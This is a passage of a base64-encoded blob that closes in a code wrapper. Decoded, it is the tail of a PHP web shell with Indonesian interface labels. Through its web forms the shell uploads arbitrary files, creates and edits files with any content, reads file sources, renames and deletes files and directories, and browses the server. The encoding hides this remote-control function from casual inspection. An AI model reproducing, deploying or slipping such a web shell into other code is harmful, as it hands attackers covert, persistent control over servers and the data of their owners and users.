RidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyAiCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } });